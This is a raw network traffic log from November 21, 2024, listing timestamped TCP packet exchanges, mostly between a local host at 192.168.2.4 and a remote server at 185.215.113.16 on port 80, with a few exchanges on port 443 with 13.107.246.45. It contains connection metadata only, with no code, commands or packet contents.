Nov 21, 2024 07:10:12.216015100 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.216070890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.216110945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.216833115 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.216878891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.216938019 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.216984987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.217741966 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.217787027 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.217845917 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.217892885 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.218611956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.218712091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.218765020 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.218816996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.219507933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.219552994 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.219644070 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.219732046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.220406055 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.220452070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.220513105 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.220560074 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.221247911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.221295118 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.221378088 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.221429110 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.222146034 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.222193003 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.222266912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.222313881 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.223001957 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.223056078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.223128080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.223177910 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.223906994 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.223961115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.224046946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.224097013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.224805117 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.224858046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.224916935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.224966049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.225719929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.225754976 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.225769997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.225800037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.226578951 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.226628065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.226747990 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.226794004 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.227462053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.227515936 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.227574110 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.227622032 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.228375912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.228421926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.228467941 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.228518963 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.229227066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.229276896 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.229340076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.229384899 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.230110884 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.230165005 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.230225086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.230273008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.231000900 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.231045961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.231120110 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.231169939 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.231897116 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.231950998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.232054949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.232103109 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.232773066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.232825994 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.232886076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.232933998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.233659983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.233711004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.233714104 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.233750105 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.234539986 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.234595060 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.234638929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.234688044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.235444069 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.235498905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.235572100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.235622883 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.236305952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.236351967 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.236411095 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.236455917 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.237176895 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.237226963 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.237299919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.237344980 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.238085985 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.238132954 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.238190889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.238234997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.238955021 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.239006996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.239080906 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.239129066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.239851952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.239897966 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.239957094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.240045071 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.240768909 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.240822077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.240895987 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.240938902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.241632938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.241686106 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.241695881 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.241734982 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.242515087 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.242561102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.242635012 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.242677927 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.243400097 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.243444920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.243503094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.243554115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.244277000 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.244322062 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.244395018 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.244436979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.245163918 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.245208025 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.245265961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.245307922 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.246042013 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.246085882 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.246159077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.246206999 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.246965885 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.247013092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.247057915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.247098923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.247836113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.247884035 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.247948885 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.247997046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.248711109 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.248773098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.248811960 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.248898983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.249577999 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.249619961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.249691963 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.249733925 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.250484943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.250529051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.250648975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.250690937 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.251383066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.251425982 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.251497984 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.251543045 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.252326965 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.252373934 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.252429962 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.252476931 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.253192902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.253276110 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.253283024 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.253333092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.254033089 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.254079103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.254153013 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.254194975 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.254899025 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.254944086 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.255013943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.255057096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.255774975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.255825043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.260637045 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.261168957 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.261205912 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.261807919 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.261816025 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.401719093 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.401968002 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.401974916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.402028084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.402098894 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.402148008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.402215958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.402262926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.402985096 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.403047085 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.403090954 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.403145075 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.403857946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.403908968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.404032946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.404079914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.404824972 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.404875040 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.404947042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.404994011 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.405675888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.405725002 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.405797958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.405843973 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.406517029 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.406565905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.406640053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.406687021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.407408953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.407458067 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.407567024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.407614946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.408301115 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.408349037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.408421993 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.408468962 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.409168959 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.409219027 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.409252882 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.409300089 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.410065889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.410114050 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.410173893 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.410219908 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.410974026 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.411021948 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.411087990 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.411132097 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.411830902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.411921024 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.411958933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.412007093 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.412722111 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.412770033 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.412841082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.412887096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.413589954 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.413638115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.413744926 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.413790941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.414498091 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.414546967 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.414622068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.414669037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.415376902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.415426016 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.415484905 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.415537119 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.416281939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.416332960 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.416405916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.416454077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.417187929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.417236090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.417332888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.417378902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.418052912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.418098927 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.418176889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.418224096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.418939114 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.418999910 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.419044018 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.419094086 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.419825077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.419889927 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.419936895 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.419989109 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.420712948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.420773983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.420849085 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.420897961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.421593904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.421648979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.421709061 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.421761990 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.422485113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.422537088 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.422595024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.422691107 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.423371077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.423423052 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.423482895 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.423528910 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.424289942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.424338102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.424382925 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.424432039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.425143003 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.425192118 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.425265074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.425312042 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.426019907 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.426074982 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.426146984 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.426193953 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.426892042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.426939964 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.427001953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.427048922 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.427782059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.427829027 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.427905083 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.427947998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.428675890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.428721905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.428797007 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.428843975 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.429553986 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.429601908 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.429657936 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.429708958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.430433989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.430480957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.430484056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.430533886 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.431350946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.431401014 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.431464911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.431512117 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.432224035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.432271957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.432337999 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.432399035 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.433101892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.433147907 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.433208942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.433306932 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.433980942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.434029102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.434098005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.434139013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.434871912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.434961081 CET	49765	80	192.168.2.4	185.215.113.16
